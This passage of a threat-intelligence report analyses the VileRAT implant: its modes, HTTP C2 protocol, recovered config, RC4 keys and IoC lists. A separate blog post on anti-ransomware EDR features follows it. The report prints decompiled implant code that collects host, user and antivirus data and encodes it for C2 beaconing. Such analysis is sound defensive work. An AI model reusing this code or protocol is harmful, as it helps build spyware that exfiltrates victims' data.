The last unpacking step finally extracts the VileRAT Python code and a whole bundle of its dependencies in memory – all this content causes py2exe-bundled VileRAT samples to weigh around 12MB. The unpacking leverages decoding (using the Type B XOR algorithm) and BZIP2 decompression. The final VileRAT Python package notably contains a conf.pyc module which includes a version number, as well as default C2 domain names:

VERSION = 7.2
SVC_NAME = ‘AJRouter’
server_urls = [‘hxxp://pngdoma[.]com’, ‘hxxp://robmkg[.]com’, ‘hxxp://textmaticz[.]com’, ‘hxxp://goalrom[.]com’]
user_agent_list = [‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36’]

VileRAT versions and functionalities

We analyzed and compared various VileRAT samples, containing version numbers ranging from 2.4 to 8. VileRAT functionalities have not changed much over time, and some functionalities from the earliest sample we analyzed have actually been dropped (such as leveraging SSH as a C2 channel, or screenshotting, the latter now being implemented in VileLoader instead). The remaining functionalities include:

Arbitrary remote command execution, using an existing or downloaded binary;
Establishing SSH connections to remote servers, possibly leveraging them to forward ports of the targeted computer to the remote server;
Keylogging;
Setting up persistence using scheduled tasks;
Listing security solutions that are installed on the target computer;
Self-updating from a C2 server.

VileRAT has five distinct and exclusive execution modes, enabled from the command line, which can all be further altered with additional command switches, parameters and/or data from the C2:

Command line option
Internal name(s)
Execution mode description
-a
enc_cmd_data

RUN_CMD_AS_USER_ARG

Arbitrary command execution

The “command” term is quite large: it can either be an existing binary, a shell command, a downloaded executable, a Python package, or an internal VileRAT function. In order to specify the “command”, a JSON dictionary[2] is passed as an optional parameter. Some commands will be executed by starting VileRAT again, using a distinct set of command options. VileRAT exits after this execution.

-l
enc_cmd_data_rss

RUN_R_SSH_SHELL_ARG

SSH connection test

VileRAT starts a new process of itself, which connects to a remote SSH server (using a private key), then… closes the connection. This SSH connection used to serve as a C2 channel in previous samples, but the C2 logic has been removed in recent samples. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT exits after this execution.

-r
enc_cmd_data_rds

RUN_R_DYN_SSH_ARG

SSH-tunneled local port forward

VileRAT starts a new process of itself, which connects to a remote SSH server (using a password). This connection is leveraged as a tunnel to forward ports from the target computer to the remote server. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT quits once the remote end has connected to the forwarded port at least once, and subsequently closed the connection.

-c
cp_exe_path
Arbitrary file deletion

VileRAT attempts to delete a file, whose path is given as a clear text command parameter. VileRAT quits when the file is deleted or when the maximum number of attempts (10) is reached.

-t
rts

IS_TASK_SCHED_ARG

Main C2 client mode

This is the main execution mode for VileRAT. It regularly polls a C2 server for commands to execute. The commands that can be executed are one of those described in this table (RUN_R_SSH_SHELL_ARG, RUN_CMD_AS_USER_ARG, RUN_R_DYN_SSH_ARG), or one of the additional VileRAT internal update commands. CMD_UPDATE_SVC triggers a (partial or complete) VileRAT update from a C2-downloaded package, while CMD_UPDATE_CONF can update internal delays and enable a keylogger if the C2 requires so.

In a typical first execution for VileRAT, as we identified in 2022, the implant is started with the following arguments:

ImagesInfo.exe “[u]” -x -m “EDP CredsTask” -i

Note than in this case, the target identifier that is passed as the first argument is not actually exploited by VileRAT, and may just be used by the attacker to easily identify running VileRAT processes later. Older VileRAT variants were usually launched with explicit “-f” and “-t” command line switches: those are now implicit and enabled by default.

Here is the list of some notable VileRAT changes we spotted as the versions evolved, apart from regular updates to fix code bugs or handle uncaught exceptions, refactor code, update dependencies, and change configuration:

Between versions 2.4 and 2.7, VileRAT dropped the capability to use a remote SSH server as a C2 channel, as well as the screenshot implementation;
In version 3.0, the base64-encoded RC4 key which is used for various encryption routines changed from “Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=” to “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”, and an additional XOR pass (of Type B) was added in encoding schemes. The VileRAT remote update mechanism was refactored, and an additional command switch (called pmode) was added;
In version 3.7, specific Chrome version and Trezor wallet reconnaissance functions that we initially identified for version 2.4 were removed from the code, and VileRAT lost the ability to update from files provided on the filesystem where it was running;
In version 5.4, the way UUID-type identifiers were generated changed;
In version 6.5, an additional command switch (called jmode) was added;
In version 6.6, “-f” and “-t” command options were enabled by default.

VileRAT HTTP C2 protocol

VileRAT’s main C2 communication loop, as executed during Main C2 client mode (as described in VileRAT functionalities above), is quite straightforward and runs in a separate thread:

Every 2-5 minutes, VileRAT tries to send an HTTP POST request to each of the C2 servers that exist in its configuration, until one replies or until the list is exhausted. Environment data is embedded in a JSON dictionary, which is encrypted using RC4, encoded using the Type B XOR algorithm, base64-encoded and URL-encoded, then finally set as the HTTP request URL path (see Figure 14);
A C2 server may reply with an HTTP response, whose body can include an encoded and encrypted JSON array. If so, the JSON must contain at least a command to execute.
def get_request_data(req_type, xmode, pmode):
data = {
‘type’: ‘svc’,
‘xmode’: xmode,
‘pmode’: pmode,
‘req_type’: req_type,
‘svc_ver’: conf.VERSION,
‘svc_name’: conf.SVC_NAME,
‘ext_uuid’: get_ext_uuid(),
‘svc_uuid’: get_service_uuid(),
‘old_svc_uuid’: get_old_service_uuid(),
‘host’: get_hostname(),
‘uname’: get_username(),
‘ia’: win32.hap(),
‘wv’: win32.gwv(),
‘dt’: datetime.datetime.now().strftime(‘%Y-%m-%d %H-%M-%S’),
‘xn’: os.path.basename(sys.executable)
}
if req_type == REQ_GET_CMD:
data[‘gc’] = global_conf
data[‘klr’] = keylogger.kl_run
data[‘cr’] = win32.is_process_exist(exe_name=’chrome.exe’)
data[‘avs’] = get_av_list()
elif req_type in [REQ_FIRST_RUN, REQ_INSTALL_DONE]:
data[‘avs’] = get_av_list()
enc_data = quote(b64encode(encrypt_xor(rc4_encrypt(json.dumps(data).encode(‘utf-8’)))), safe=”~()*!.'”)
return enc_data

Figure 14. VileRAT C2 request preparation function

Just as in VileLoader, the User-Agent value in HTTP requests is randomly selected from a fixed list of possible values. The JSON that is passed to the C2 server can be broken down as follows:

JSON Key
Value
type
Fixed value set to “svc”.
xmode
True if VileRAT is executed with the xmode command line switch; false otherwise.
pmode
True if VileRAT is executed with the pmode command line switch; false otherwise.
req_type
Internal C2 command request type, value can be get_cmd, update_done, screenshot, first_run, install_done or klgr.
svc_ver
Internal VileRAT version number as set in VileRAT’s configuration.
svc_name
Internal VileRAT implant name as set in VileRAT’s configuration.
ext_uuid
Partial value of one of the mutexes VileRAT sets to ensure atomic execution. It can either be the same system UUID as the one collected by VileDropper as part of the target identifier generation, or a hard-coded one.
svc_uuid
The target identifier, generated again with the same algorithm used in VileDropper.
old_svc_uuid
A hard-coded value, or the same system UUID as the one collected by VileDropper as part of the target identifier generation, but represented using a different (and presumably older) custom algorithm.
host
Hostname of the target machine.
uname
Username of the target.
ia
1 if the user running VileRAT has administrator privileges; 0 otherwise.
wv
Windows version, formatted as dwMajorVersion.dwMinorVersion (eg. 10.0).
dt
Timestamp of the HTTP request, formatted as YYYY-MM-DD HH-MM-SS.
xn
VileRAT’s filename.
avs
JSON list of installed security products names (e.g., [“windows defender”, “kaspersky internet security”]), as retrieved from WMI by VileRAT.

The C2 answer is expected as an encoded and encrypted JSON list (leveraging the same coding and cryptographic methods as for the JSON in the HTTP request). Each item in the list must be a JSON dictionary that contains at least a “cmd” key. Its value can be one of: update_svc, ssh_rshell, r_cmd, ssh_rdyn or update_conf. Additional JSON key/value pairs can exist in the dictionary and are passed to internal commands as parameters.

A few words about VileRAT’s infrastructure

We looked for specificities in the C2 domains we could retrieve from the samples gathered (either malicious DOCX files, DOTM files and their macros, VileDropper, VileLoader or VileRAT) and that are described in this report. We ignored domains registered before mid-October 2021 because most of them were already disclosed in public sources (all known malicious domains and IPs are listed in full in the indicators of compromise section below). It should be noted that to date, we have identified hundreds of domains associated with VileRAT’s infection chain.

This allowed us to identify some likely VileRAT-specific infrastructure creation preferences:

Starting from October 2021 at the latest, DeathStalker infrastructure IPs all belong to AS42159 (DELTAHOST UA, located in NL). According to our telemetry, DeathStalker likely started to leverage servers with IP addresses from this AS (along with others) as early as June 2021;
Malicious domain names are often batch-registered (several domains on the same day) at NAMECHEAP, Porkbun LLC or PDR Ltd.;
A lot of malicious domain names try to masquerade as seemingly legitimate digital services providers names (such as “azcloudazure[.]com” or “amzbooks[.]org”), and some denote a possible attempt to leverage events of worldwide interest to conduct attack campaigns (such as “weareukrainepeople[.]com” or “covidsrc[.]com”);
Domain usage seems to be separated most of the time (one domain is used only for either infection DOCX/DOTM, VileLoader or VileRAT), and might indicate a desire by the threat actor to tightly cluster its operations. But all those domains usually point to a very limited set of IP addresses;
A quick analysis of the characteristics of the services exposed on C2 IPs during malicious activities allowed us to note common signatures: the HTTP service sends a combination of content and header values that could only be retrieved for such malicious infrastructure.

VileRAT’s targets

From August 2021 to the present day, using only data that we could check with our own telemetry, we identified 10 compromised or targeted organizations in Bulgaria, Cyprus, Germany, the Grenadines, Kuwait, Malta, the United Arab Emirates and the Russian Federation (see Figure 15).

Figure 15. Map of organizations targeted by DeathStalker’s VileRAT campaign (darker color indicates a higher concentration)

We could not profile all the identified organizations, but half of them were foreign currency (FOREX) and cryptocurrency exchange brokers. Some identified malicious documents and infrastructure domains contain (parts of) the targeted organizations’ names, and confirm this targeting.

It should be noted that the identified organizations range from recent startups to established industry leaders, including dubious cryptocurrency exchange platforms. Locating such organizations is extremely difficult from the limited data we have at hand, because a small FOREX company might, for instance, host its infrastructure in various foreign countries, employ several remote workers from different countries, and be legally based in a tax haven.

Attribution

When we first discovered VileRAT in June 2020, we initially attributed the implant and associated infection chain to DeathStalker. This first attribution was mainly based on similarities with previously known EVILNUM campaigns (common specific metadata in LNK files, similar TTPs – notably the spear-phishing approach leveraging Google Drive files and fake personas, consistent victimology). The tie between EVILNUM campaigns and DeathStalker has already been demonstrated in our previous article.

We still believe with high confidence that the described updated implants and associated infection chain are developed and operated by DeathStalker:

The main implants (VileLoader, VileRAT) that are leveraged for this campaign are updates of previously analyzed ones, and still share a large majority of code and implementation specifics with previous samples;
The various components of the described infection chain (DOCX, macro-enabled DOTM, VileDropper) share implementation logic and techniques that have previously been leveraged by DeathStalker as part of other campaigns (PowerSing and PowerPepper notably):
Using malicious documents (fetched from emails) as an infection vector;
Signaling infection progress and errors to remote servers;
Using a similarly implemented XOR algorithm for string obfuscation (in DOTM macros, and in previously documented PowerPepper loaders);
Leveraging Office object properties as hidden data sources;
Using similarly implemented hash-like functions with a preset constant (to generate a target identifier in VileDropper, to decode an IP address in PowerSing).

Conclusion

VileRAT, its loader and associated infection chain were continuously and frequently updated for more than two years, and are still leveraged to persistently target foreign currency and cryptocurrency exchange brokers, with a clear intent to escape detection.

Escaping detection has always been a goal for DeathStalker, for as long as we’ve tracked the threat actor. But the VileRAT campaign took this desire to another level: it is undoubtedly the most intricate, obfuscated and tentatively evasive campaign we have ever identified from this actor. From state-of-the-art obfuscation with VBA and JS, to multi-layered and low-level packing with Python, a robust multi-stage in-memory PE loader, and security vendor-specific heuristic bypasses, nothing has been left to chance.

Considering the vast and quickly changing associated infrastructure as well, there is no doubt DeathStalker is making a tremendous effort to develop and maintain accesses. Yet, there are some glitches and inconsistencies: a final payload weighing more than 10MB (VileRAT), simple infection vectors, lots of suspicious communication patterns, noisy and easily identified process executions or file deployments, as well as sketchy development practices leaving bugs and requiring frequent implant updates. As a result, an efficient and properly setup endpoint protection solution will still be able to detect and block most of VileRAT’s related malicious activities.

Putting these facts into perspective, we believe DeathStalker’s tactics and practices are nonetheless sufficient (and have proven to be) to act on soft targets who may not be experienced enough to withstand such a level of determination, who may not have made security one of their organization’s top priorities, or who frequently interact with third parties that did not do so. We still, however, cannot determine what DeathStalker’s principal intention against such targets is: it could range from due diligence, asset recovery, information gathering in the context of litigation or arbitration cases, aiding its customers in working around sanctions and/or spying on the targets’ customers, but it still does not appear to be direct financial gain.

Indicators of compromise

Infection DOCX MD5 hashes

09FB41E909A0BCA1AB4E08CB15180E7C
0B4F0EAD0482582F7A98362DBF18C219
0CB7936975F74EA2C4FA476A6E3D5A05
15C62D22495CA5AA4BB996B2CB5FEB7F
1AAFBE60E4D00A3BFFDB76FA43C2ADBB
237831757F629BA61C202B51E0026C9B
238CD8435ADFFDAEBBF9D7489764648A
241AD2BB7E703343F477960B39A8B300
257754E9CD6EEC6DB5323E282FB16A74
2BAADB95EF832CF5EB550121FA0292D0
2C6314821C64F235E862B38DADEE535E
2F8817B75D81C2F029FA70DE69B4A94B
3C4F409A7926731254B44CA6526DCED1
3C9A5A69CC928A39519178DA2A8EFFB6
5BE87EC5A2F48483317A57CE120ACC0E
609F595053D481C047D9C9B8C0F6B39C
63090A9D67CE9534126CFA70716D735F
77612466654702C7ED7C6B1C21CFAEFE
77B4AF2734782DC7FC10A6FD7978AE80
79157A3117B8D64571F60FE62C19BF17
7C7D4DFAC6A2628B9921405F25188FE3
8746077795FF9C33A591C7E261B7C7B8
9352DBA6CC8AC67F22E62D7A1B5E51B6
9895D0C19AC482F62C53AD8399F98B66
A4B79DA85C6EE26D0EBEA444A60DB900
A7FB4779F2A1C4A27DA2E74616DB7C31
B09A35B75700D11A251BDFC51B1D08E9
C212AF0C8A880697374E06B59376F991
C59EB65B0B237E39AFED796C5B3DB417
C75FC659F257291C9CCC94C3FF4B5A83
C818E4BCA286C690156EFF37DAA2E209
C86F8642560A6353ED2FE44F0C6B07E8
D72B649DF88D78441D5629AF99FA1D40
E0D474AF77E89BF1C2DBB7D7A5F8ACE9
E28F2F0546EF07BC3425528D813EC954
E375B63A76DADDFF5741B340AE7BD6A8
E51CBCF89A26686C62350BAE371F8601
E726520B3AD875B516DF6C3D25476444
F0D3CFF26B419AFF4ACFEDE637F6D3A2
FB75DDE8F9E473D019A6CBDBB0D2283A
FF2558571EE99ED4AEC63A3980719034

Macro-enabled DOTM remote templates MD5 hashes

02C1EC61C4E740AF85B818A89E77E2C2
75A3F8D143CF96C163106E21272FF170
7FCC03D062AC8AA2BE8D7600B68FC53A
82D841D7712AB0EE9F1BBB6B3D22821A
93CE42F23B0800F257D355C0B10C8D79
E6F9D538FCDF46493DF8ECB648F98D13

VileDropper JavaScript MD5 hashes

3C8052862B194F205AC5138BF07ADFBE
43A2B45D25BB898DBBCB2EE36C909D64
6E201A9BB9945BDC816A7A9C2DCF73B9
7822FF3D5008E0B870BB03EF8D2032DC
99F762D23451B9ABABA95BCE3F544FDB
C97B0753A263E042EB6E3C72B2F6565F
CABAF29E9763D18B0D0DFFBC576FDF3E

VileLoader (stage 1 binary) MD5 hashes

0456FA74B8CC6866C5D1CE9E15136723
0BD06D2C17987C7B0C167F99BB4DC0B4
0F3685A6ACA7991C209D41D0E2279861
107A084A1C8A6E9E5B3BEF826C3443DC
15A192BB683BD47956CC91B2CFCE3052
161FE654DDED7AE74EE40F1854B9F81E
174CF10F0F320B281B3FFBF782771AD7
22DDB087EF3310B3F724544F74E28966
237BAB121E846DCFA492E7CC5966EAD9
2503B8AABEEB2649915126573307B648
29EF001568851845B84F3CD163BFD439
2A5ECA9B83A999E86054E53330F68F5B
2DBEA08AFE245F246B500727B7D27761
2FC7211C94B7C89968ACFAD8C084EE3B
2FDDDA0DC33D3F8BAB906C43982AA4A2
30CA78A99F49782942835B1C10E2834A
33F1303842BDDC98205984E6ACF782F7
344A41ECF89B5642B6FE0A695852AA1B
36E60C00A64BAA014CF7A44CB9C9F410
3C960DCC782A4D9552F0CC96451633C8
3D127901AFD64EACE4C7B939FDBA90BB
3E0A49646B9D5D0C63036692BA1C7315
3FC5AB8A3EAB1D8CFF8530BBE2BAE608
524909CB66848B1EE2987FDC0B69B451
52B208E86C0DDE252200953A4EB71EA3
52C1E4537424E151469E8E67DF07EFE6
577497F9E9D4EA6070AA250B355DCFB1
578E16856061F6CB760B06B1735F9143
5BA950833DC55FE30F1E24CBCF1DEA3C
5D9DB5350E1CA2D9DACBA75F4AA80AE0
6677B435A7455579BC063BD9F7CBE65E
6A1672401FFD7FB64DFE09A7A464067C
6AED3D8D53CB4B90FF0EDA8803C7F1F5
6E056456B2F40D2C47219C6DB24D9541
700B71690C7902DEC10275A6AE320ADF
77AC6332A5A4DE5712B66949AC8BF582
7B478EDC2B74D7ECDC6B1D9532C9E7F8
80A84624126B6D72FF5D1B25B80204C2
82118066CF5EE34E7956F8D288B725E6
85C09C35F85EDD1428208CD240A72BD8
8B4905B5D0142EBD67B103E2CDD047E3
8C377D184D88991388B7D0ED6CFB4A98
8C4975EDB8C6BE37C416D9B6483E9BD5
942D540F7608752233800AEB66BC8DC7
977D5BABF7112F1B6072EAA1F3F896B8
991CA8ECD3F4A70892CFF4FB774AF22B
A82C6772F984A9B49A1512B913DA4332
AB4B8D26D389C76B3D4A85E2CCB9E153
B68915810F6DE276A706E7F4C37645EA
B6EE9DAEA4B2D849793E651603A1512D
BC162B6742AA1EA86A3B391D549EF969
C21025561A3151F9EB2C728AAB5A7A90
C3828CE2ED1453EFAAD442D150B79F6E
C89D5BB8A36C0F2891B5A75834A7AD64
CF8988662588C8FE943ECF42FC35E0B4
D3E95C81D038CBF6EFC5AF3208313922
DB1A697955F1140AED36864617F41425
DB2179161FA0FC1694BD7425D1E80A5D
DB6800CF6288BA0B7492F533F519CA24
DC6F128A5316FB9AF66EA01190C63895
E18078DCA1A1F452B06EC0D9C30982B6
E3F106AF3E45C480BF9E45EB21617083
E833910AB506B08DB2A0E7E1313C6556
EA71FCC615025214B2893610CFAB19E9
F02B13F9634604BE5388B3C13C7CEC8D
F18D216B070744097846F96877865D1C
F5884141B04503EE6AFB2A17FD7761FC
F93FEE328737CB97D83701A4A50EAEFD
FC5F0CC23280547E1D727534649B3DFA
FFE01DCCC1AA70C80EBB1B9F8FCADF1F

VileRAT (standalone) MD5 hashes

348C99A209616FC674FCABCAFDDBA4A0
99B54991FCE2C6D17CDEF7BBD60FDA27
B0353610172416A9FFCD3E7FB7BAE648
EC04E0D3EADF043A1219942051A2A147
BB2113989478DB0AE1DFBF6450079252
15BAF177FC6230CE2FCB483B052EB539
BAB0B5BB50C349CEFD9DEDF869EB0013
D3947C239A07090DEB7D4A9D21D68813
B4183E52FB807689140ED5AA20808700
A7B300D6CB0488358A80C512A64FF570
8F20155F0D9541F7CB5C3BBDC402498B
6D0B710057C82E7CCD59A125599C8753
14D9D03CBB892BBBF9939EE8FFFDD2B5
A62850FD3D7DEC757043AB33417E7A13
03205E90135FD84D74AF8B38D1960994
ACCC6633AF50AEA83024AB5A0861375B
E1956B827EF36A0DDE5C42F2C26AC8B6
DBD9CBAEB27326EF2AEAD32292D70632
8F9D01DC7D1EB9AB388BF94F0B926E3B
6E79535F38248C7769365881C577DF29

C2 IP addresses

185.161.208[.]172
2022-07, and 2021-06 to 07 at least
185.161.208[.]207
2022-07 at least
185.161.209[.]87
2022-06 at least
185.161.208[.]209
2022-05 to 06 at least
185.161.208[.]20
2022-04 to 06 at least
185.161.208[.]225
2022-03 to 04 at least
185.236.76[.]230
2022-03 to 04 at least
185.236.76[.]30
2022-03 at least
185.236.76[.]34
2022-03 at least
185.161.209[.]223
2022-01 to 02 at least
185.161.209[.]28
2022-01 to 02 at least
185.161.208[.]166
2021-12 to 2022-01 at least
185.161.208[.]182
2021-12 at least
185.161.209[.]97
2021-11 and 08 at least
185.236.76[.]21
2021-11 at least
185.161.209[.]117
2021-10 at least
185.161.208[.]64
2021-10 at least
185.161.208[.]194
2021-09 to 10 at least
185.161.209[.]170
2021-09 at least
185.161.208[.]160
2021-07 to 09 at least
193.56.28[.]201
2020-07 at least
185.236.230[.]25
2020-07 at least

C2 domain names

Note: the C2 domain names have been identified in our own telemetry or extracted from malicious files that are described in this article and that we analyzed. The domains may still have previously (or later) been used for legitimate purposes as domains may get reused over time. Even if we could not notice such a conflict up to now, the resolution of a hostname that belongs to such domain must better be checked to match previously listed C2 IP addresses, before concluding it is indicative of a compromise.

rowfus[.]com
shopadvs[.]com
svclouds[.]com
corstand[.]com
getappcloud[.]com
hostboxapp[.]com
weareukrainepeople[.]com
eroeurovc[.]com
flightpassist[.]com
ihotel-deals[.]com
mevcsft[.]com
msfsvctassist[.]com
pinktwinlers[.]com
plantgrn[.]com
wazalpne[.]com
affijay[.]com
upservicemc[.]com
msfbckupsc[.]com
estimefm[.]org
visitaustriaislands[.]com
bookaustriavisit[.]com
hubflash[.]co
bookingitnow[.]org
planetjib[.]com
enigmadah[.]com
qeliabhat[.]com
qnmarry[.]com
pngdoma[.]com
robmkg[.]com
textmaticz[.]com
goalrom[.]com
deltacldll[.]com
nortonalytics[.]com
udporm[.]com
dellscanhw[.]com
mailcloudservices[.]org
hpcloudlive[.]com
windowslive-detect[.]com
zummaride[.]com
cashcores[.]org
thesailormaid[.]com
multizoom[.]org
poccodom[.]com
msftmnvm[.]com
plancetron[.]com
covidsrc[.]com
covidsvcrc[.]com
msftcd[.]com
rombaic[.]com
cargoargs[.]com
amazoncld[.]com
printauthors[.]com
amznapis[.]com
thismads[.]com
ammaze[.]org
eroclasp[.]com
mullticon[.]com
audio-azure[.]com
azure-affiliate[.]com
service-azure[.]com
scan-eset[.]com
check-avg[.]com
adsmachineio[.]com
api-pixtools[.]com
api-printer-spool[.]com
driver-wds[.]com
flowerads[.]cloud
globaladdressbook[.]cloud
msft-cdn[.]cloud
windows-accs[.]live
windows-ddnl[.]com
freepbxs[.]com
trvol[.]com
trvolume[.]net
corpxtech[.]com
veritechx[.]com
vvxtech[.]net
extrasectr[.]com
trquotesys[.]com
quotingtrx[.]com
booknerfix[.]com
bgamifieder[.]com
book-advp[.]com
netwebsoc[.]com
refinance-ltd[.]com
windnetap[.]com
n90app[.]com
appdllsvc[.]com
meetomoves[.]com
moretraveladv[.]com
hostedl[.]com
agagian[.]com
informaxima[.]org
polanicia[.]com
am-reader[.]com
liongracem[.]com
jmarrycs[.]com
worldchangeos[.]com
gvgnci[.]com
ananoka[.]com
netpixelds[.]com
allmyad[.]com
wicommerece[.]com
showsvc[.]com
borisjns[.]com
govdefi[.]com
dogeofcoin[.]com
realshbe[.]com
questofma[.]com
covidgov[.]org
govtoffice[.]org
covidaff[.]org
covsafezone[.]com
msftinfo[.]com
invgov[.]org
anypicsave[.]com
navyedu[.]org
anyfoodappz[.]com
cloudazureservices[.]com
dnserviceapp[.]com
picodehub[.]com
musthavethisapp[.]com
refsurface[.]com
amazoncontent[.]org
wizdomofdo[.]com
tomandos[.]com
amazonappservice[.]com
amzncldn[.]com
azurecontents[.]com
philipfin[.]com
cloudhckpoint[.]com
checkpoint-ds[.]com
iteamates[.]com
global-imsec[.]com
printfiledn[.]com
msftprintsvc[.]com
worldsiclock[.]com
deuoffice[.]org
amazonpmnt[.]com
alipayglobal[.]org
cloudamazonft[.]com
apple-sdk[.]com
azurecfd[.]com
apiygate[.]com
msftcrs[.]com
sysconfwmi[.]com
dnstotal[.]org
namereslv[.]org
mailservicenow[.]com
cloudreg-email[.]com
apidevops[.]org
zerobitfan[.]com
edwardpof[.]com
mainsingular[.]com
totaledgency[.]com
admex[.]org
outlookfnd[.]com
bookfinder-ltd[.]com
earthviehuge[.]com
estoniaforall[.]com
jarviservice[.]org
moreofestonia[.]com
traveladvnow[.]com
tripadvit[.]com
advideoc[.]org
auzebook[.]com
mslogger[.]org
netmsvc[.]com
ntlmsvc[.]com
prodeload[.]com
realmacblog[.]com
roblexmeet[.]com
weatherlocate[.]com
crm-domain[.]net
leads-management[.]net
voipasst[.]com
voipreq12[.]com
voipssupport[.]com
telefx[.]net

Suspected C2 domain names

Note: the suspected C2 domain names have been identified because they were both registered in a similar way than known C2 domain names, AND because associated hostnames pointed to known C2 IP addresses during a timeframe of known malicious activity. While we believe with medium to high confidence the vast majority of these domains have been or could be leveraged by DeathStalker, it is still possible that a few of them never support malicious activities.

adsoftpic[.]com
azcloudazure[.]com
azureservicesapi[.]com
diamondncenter[.]biz
forceground[.]co
multitrolli[.]com
searchvpics[.]com
superimarkets[.]com
symantecq[.]com
yorkccity[.]com
cosmoscld[.]com
oglmart[.]com
shopamzn[.]org
aidobe-update[.]com
amzn-services[.]com
applecloudnz[.]com
esetupdater[.]com
fastnetbrowsing[.]com
findmypcs[.]com
flyingpackagetrack[.]com
mcafee-secd[.]com
msfastbrowse[.]com
murfyslaws[.]com
networkcanner[.]com
nvidiaupdater[.]com
oauth-azure[.]com
oautho[.]com
orbiz[.]me
outlooksyn[.]com
pdfscan-now[.]com
soundstuner[.]com
timetwork[.]com
wingsnsun[.]com
azuredllservices[.]com
mailgunltd[.]com
officelivecloud[.]com
kgcharles[.]com
mstreamvc[.]com
streamsrvc[.]com
walltoncse[.]org
wldbooks[.]com
travelbooknow[.]org
amzbooks[.]org
atomarket[.]org
elitefocuc[.]com
futureggs[.]com
newedgeso[.]com
topotato[.]org
wwcsport[.]org
firedomez[.]com
gratedomofrome[.]com
servicebu[.]org
servicejap[.]com
appcellor[.]com
cloud-appint[.]com
coreadvc[.]com
sellcoread[.]com
allrivercenter[.]com
missft[.]com
onesportinc[.]com
tophubbyriver[.]com
yourprintllc[.]com
azuredcloud[.]com
bingapianalytics[.]com
mscloudin[.]com
msdllopt[.]com
netrcmapi[.]com
pcamanalytics[.]com
dbcallog[.]com
msft-dev[.]com
msftapp[.]com
msftprint[.]com
msintsvc[.]com
praxpay[.]org
print-hpcloud[.]com
svcscom[.]com
unitedubai[.]org
unitepixel[.]org
advflat[.]com
cloudappcer[.]com
cloudpdom[.]com
dustforms[.]com
econfuss[.]com
ezteching[.]com
infntio[.]com
luccares[.]com
orklaus[.]com
roboecloud[.]com
wdigitalecloud[.]com
advertbart[.]com
bunflun[.]com
covdd[.]org
inetp-service[.]com
infcloudnet[.]com
khnga[.]com
mailservice-ns[.]com
webinfors[.]com
yomangaw[.]com
azueracademy[.]com
cyphschool[.]com
imagegyne[.]com
imageztun[.]com
netoode[.]com
olymacademy[.]com
pivotnet[.]org
fxmt4x[.]com
telecomwl[.]com
xlmfx[.]com

[1] This is an expected result from the standard CPython build chain: the build configuration will automatically tag a binary with such version naming if compilation is done from sources that do not match a defined tag (for instance, 3.7.4) or are modified.

[2] All JSON dictionaries required by commands are URL-encoded, base64-encoded, and RC4-encrypted with a base64-encoded RC4 key of “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=” (starting from VileRAT 3.0; previous samples use a different key).

VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies.Read More

Can your EDR handle a ransomware attack? 6-point checklist for an anti-ransomware EDR

Most cybersecurity experts agree that having Endpoint Detection and Response software is essential to fighting ransomware today—but not every EDR is equal.

Businesses, especially small-to-medium sized ones with limited budget or IT resources, need to make sure that their EDR is cost-effective, easy-to-use, and able to reliably stop the growing ransomware threat. So precisely what features should SMBs be looking for in an anti-ransomware EDR, and why?

In this post, Robert Zamani, Regional Vice President, Americans Solutions Engineering at Malwarebytes, gives his 6-point checklist of features your EDR should have to stop ransomware.

Table of contents

How should EDR address ransomware?

At its core, ransomware is an exploitation of trust, Zamani says.

“We place our trust in applications to perform only the functions we intended, Operating Systems to perform functions we authorized, and that our credentials (user ID/password) are used only by authorized personnel. Stolen credentials, phishing attacks, zero-day applications, and OS vulnerabilities exploit our trust in endpoints. And since ransomware stems from exploitation of trust, then EDR is not optional when it comes to mitigating a detected threat.”

A risk management strategy states that we cannot eliminate all system vulnerabilities or block all cyberattacks. In other words, your EDR should be optimized to “prevent what you can and mitigate the rest.”

“Since ransomware stems from exploitation of trust, then EDR is not optional when it comes to mitigating a detected threat.”

Robert Zamani, Regional Vice President, Americans Solutions Engineering

1.   Multi-vector Endpoint Protection (EP) is built-in

The base functionality of any EDR is to notify you of any suspicious activity that is taking place on your systems and offer “response” capabilities to mitigate the detection. However, EDR doesn’t inherently do any prevention: It won’t stop the threat from breaching your environment in the first place. 

Relying solely on EDR as a prevention solution will overwhelm your staff and increase operational costs.

That is why anti-ransomware starts with preventing the known bad, Zamani says. Enter Endpoint Protection (EP), an advanced threat prevention solution for endpoints that uses a layered approach with multi-vector detection techniques.

Many EDR vendors will offer EP as a separate offering—usually, these are just file-based scanners looking for possible clues to malware in binary files. This is the minimal functionality of EP and insufficient because there is more that can be prevented, Zamani says.

EP must reduce the attack surface of ransomware through a combination of comprehensive web protection, application hardening, and other “first-layers of defense”. Since most ransomware attacks start with a phishing email, this primary ‘preventative’ type of endpoint protection is essential.

For a budget-friendly way to get the first layer of ransomware protection, look for an EDR with full-stack Endpoint Protection.

EP gives you a “first-layer of defense” against known and unknown malware, ransomware, and other threats.

2. Maintains visibility and patching regularly

Patching is not just system maintenance, Zamani says. According to the Ponemon Institute, 57% of cyberattack victims report that their breaches could have been prevented by installing an available patch. 

“Application and OS vulnerability assessment and patch management solutions are preventative and reduce the ransomware attack surface on endpoints. A good application and OS, vulnerability management solution must automate inventory and severity classification based on CVSS scoring,” Zamani says. “The sorting by severity and grouping by the asset (endpoint) will allow you to prioritize patching the most valuable endpoints.”

In short, make sure your EDR has some sort of vulnerability and patch management component to make it more difficult for ransomware attackers to breach your systems.

3. Has machine learning (ML) to recognize ‘goodware’ instead of malware

A good EDR is looking for a deviation from good behavior, Zamani says. When an application launches and performs in an expected way, we call that an example of good behavior—and when it doesn’t, the administrator gets an alert notifying them of suspicious activity warranting investigation.

